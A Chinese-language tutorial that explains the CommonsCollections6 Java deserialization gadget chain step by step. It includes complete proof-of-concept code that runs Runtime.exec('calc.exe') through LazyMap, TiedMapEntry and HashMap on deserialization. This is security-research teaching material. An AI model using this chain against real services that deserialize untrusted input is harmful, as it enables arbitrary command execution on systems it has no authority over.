在java的8u71版本后,AnnotationInvocationHandler
类的readObject
方法逻辑变化了 这就导致了我们的CC1链子失效 所以这里有另一种链子较为通用 :ysoserial
的CommonsCollections6
:
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Map;public class CommonsCollections6 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" } ) }; ChainedTransformer chain = new ChainedTransformer (transformers); Map lazyMap = LazyMap.decorate(new HashMap (), chain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); HashMap hashMap = new HashMap (); hashMap.put(entry, "bar" ); lazyMap.remove("foo" ); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(hashMap); oos.close(); ByteArrayInputStream bis = new ByteArrayInputStream (bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bis); ois.readObject(); } }
分析:
这个还是和CC1最后一样, 反射调用到Runtime
进行命令执行:
Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" } ) }; ChainedTransformer chain = new ChainedTransformer (transformers);
实际上执行的操作:
Method f = Runtime.class.getMethod("getRuntime" );Runtime r = (Runtime) f.invoke(null );r.exec("calc.exe" );
此时如果执行:
则弹出计算器
LazyMap Map lazyMap = LazyMap.decorate(new HashMap (), chain);
这个类的作用是实现一个懒加载 怎么实现的呢? 看看它的构造方法以及get()
方法:protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
可见生成对象的时候可以传入一个翻译器作为值加工厂 当从LazyMap
里get值的时候
如果没有get到,就会根据键名加工出一个值(value
)来 返回并加到map中 这就实现了翻译操作的触发
这时候触发弹出计算器的操作:
其设计初衷是简化键值对的绑定操作,并提供延迟加载或动态计算的特性。 在实际开发中,它的应用场景相对有限,但在特定需求下可以发挥独特作用。 当需要按需生成或加载某些资源(如缓存数据、动态配置)时, 结合LazyMap
使用TiedMapEntry
, 可以避免一次性加载所有数据,减少资源消耗
使用例子:
Transformer lazyTransformer = new Transformer () { @Override public Object transform (Object key) { System.out.println("Generating value for key: " + key); return "Value_" + key; } }; Map<String, Object> lazyMap = LazyMap.decorate(new HashMap <>(), lazyTransformer); TiedMapEntry tiedEntry = new TiedMapEntry (lazyMap, "user_123" );System.out.println(tiedEntry.getValue()); System.out.println(tiedEntry.getValue());
一般与LazyMap
绑定使用 他的hashcode
方法中调用了触发LazyMap
的get
他的构造方法、hashcode
以及getvalue
方法:
public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
那么我们找一找怎么调用他的hashcode
这个东西非常眼熟 我们在URLDNS
链子里一起看过 现在目标就从调用URL
类的hashcode
转换为了TiedMapEntry
的hashcode
弹出计算器的操作:
HashMap HashMap hashMap = new HashMap ();hashMap.put(entry, "bar" );
之后序列化即可:
ByteArrayOutputStream bos = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (bos);oos.writeObject(hashMap); oos.close(); ByteArrayInputStream bis = new ByteArrayInputStream (bos.toByteArray());ObjectInputStream ois = new ObjectInputStream (bis);ois.readObject();